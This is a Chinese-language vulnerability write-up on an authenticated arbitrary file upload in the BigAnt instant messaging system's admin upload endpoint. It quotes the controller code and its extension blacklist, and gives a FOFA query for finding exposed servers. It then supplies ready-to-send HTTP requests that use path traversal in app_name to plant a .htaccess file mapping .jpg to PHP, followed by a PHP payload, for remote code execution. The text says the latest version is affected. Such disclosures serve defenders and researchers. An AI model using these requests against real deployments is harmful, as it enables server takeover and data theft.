漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 admin/Upload/upload 接口存在目录遍历+任意文件写入/上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。
影响版本
BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
漏洞分析
先看 \Admin\Controller\UploadController::upload 的初始化权限校验部分
/**
* 初始化,不用 AdminBaseController 的初始化, 因为sp_user_type() == 0会退出
* 这里被 addin也调用
*/
function _initialize() {
if ($this->validLogin){
if ((! sp_user_islogin())) {
parent::common_logout('public/logout') ;
}
}
}
sp_user_islogin的存在,需要一个登录的session,继续往下看upload()方法
/**
* 上传功能, 需指定上传的控件ID fileid
*/
public function upload(){
$returnType = I('get.return_type','js'); // js,json
try {
$saas_id = sp_saas_id();
if (!$saas_id) {
$saas_id = '0';
}
$app_name = I('get.app_name','admin') ;
$options['file_id'] = I('get.file_id') ;
$options['rename'] = I('get.rename',1) ; // 0 原始名 1 重命名
$options['exts'] = I('get.exts') ;
$options['max_size'] = I('get.max_size',100) ;
$options['thumb_size'] = I('get.thumb_size') ;
$options['thumb_only'] = I('get.thumb_only',0) ;
// 文件验证
if(empty($_FILES)) {
throw new \RuntimeException('没有上传文件');
}
// 过滤空文件
$_FILES = array_filter($_FILES, function($item){
return $item["tmp_name"] !== '';
});
// PEM文件验证
if(strtolower(I('get.exts')) == 'pem') {
foreach($_FILES as $fileInfo){
if(!$fileInfo['name']) continue;
$realExt = substr($fileInfo['name'], (strripos($fileInfo['name'],'.') + 1));
if(strtolower($realExt) != 'pem') {
throw new \RuntimeException('文件格式不正确,支持的类型是:pem');
}
}
}
// 文件类型安全验证
$blackArr = ["asp","aspx","asa","asax","ascx","ashx","asmx","cer","php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jsp","exe","sys","com","sh","dll","bat"];
foreach($_FILES as $fileInfo){
$info = pathinfo($fileInfo['name']);
if (empty($info['extension']) || strpos(strtolower($info['extension']),"ph") !== false) {
throw new \RuntimeException('不支持的文件类型');
}
if (empty($info['extension']) || in_array(strtolower($info['extension']), $blackArr)) {
throw new \RuntimeException('不支持的文件类型');
}
}
//设置目录
$dir = \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;
//jc 20170628 这个路径创建会到盘符下,uploadAnFile会自动创建安
//sp_folder_create($dir);
//得到上传控件
$uploadFile = \Common\Lib\SaasSDK::getUploadFile($options['file_id']);
//上传照片
$res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$uploadFile);
if (!$res['status']) {
throw new \RuntimeException($res['err_msg']);
}
$data = $res['data'];
$data['status'] = 1;
if (C("DOMAIN")) {
//发布到其他平台
if($options['file_id']=="file_user_picture"){
\Common\Dispersed\SendUser::upload_file($data['savefile']);
}
}
// 返回结果
ob_clean();
if ($returnType === 'js') {
$callback = I('get.callback');
if ($callback) {
echo '<script language="javascript">parent.'.$callback.'('.json_encode($data).');</script>';
} else {
echo '<script language="javascript">parent.openValid();parent.uploadComplete('.json_encode($data).');</script>';
}
} else {
Jump::success($res['data']);
}
} catch (\RuntimeException $e) {
if ($returnType === 'js') {
echo '<script language="javascript">alert("'.$e->getMessage().'");</script>';
} else {
Jump::errror(3002,$e->getMessage());
}
}
}
定义了一个黑名单后缀列表$blackArr = ["asp","aspx","asa","asax","ascx","ashx","asmx","cer","php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jsp","exe","sys","com","sh","dll","bat"];
然后从上传里循环提取文件名后缀进行验证
foreach($_FILES as $fileInfo){
$info = pathinfo($fileInfo['name']);
if (empty($info['extension']) || strpos(strtolower($info['extension']),"ph") !== false) {
throw new \RuntimeException('不支持的文件类型');
}
if (empty($info['extension']) || in_array(strtolower($info['extension']), $blackArr)) {
throw new \RuntimeException('不支持的文件类型');
}
}
因此,常见的可执行后缀如php、php3、phtml及其衍生后缀都不能上传;
但是既然是采用黑名单,在php环境下,我们可以上传.htaccess**将指定后缀当作PHP进行解析!**
因为我们可以通过$dir = \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;控制文件保存目录(通过app_name进行目录穿越),以及$res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$uploadFile)的$options来控制文件名不重命名$options['rename'] = I('get.rename',1) ; // 0 原始名 1 重命名,先上传一个.htaccess文件,再上传一个指定的后缀进行rce。
漏洞复现
需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式
/addin/Upload/uploadMultipleFile.html
/addin/Upload/uploadMultipleFile

上传 .htaccess
POST /admin/Upload/upload?exts=htaccess&rename=0&app_name=admin/../../../doc/ HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary87OMlFNPFZz8B85t
Content-Length: 140
------WebKitFormBoundary87OMlFNPFZz8B85t
Content-Disposition: form-data; name="file"; filename=".htaccess"
AddType application/x-httpd-php .jpg
------WebKitFormBoundary87OMlFNPFZz8B85t--

上传图片
POST /admin/Upload/upload?exts=jpg&rename=0&app_name=admin/../../../doc/ HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary87OMlFNPFZz8B85t
Content-Length: 140
------WebKitFormBoundary87OMlFNPFZz8B85t
Content-Disposition: form-data; name="file"; filename="tes.jpg"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary87OMlFNPFZz8B85t--
成功上传文件到doc目录下

访问上传文件,成功执行上传代码。



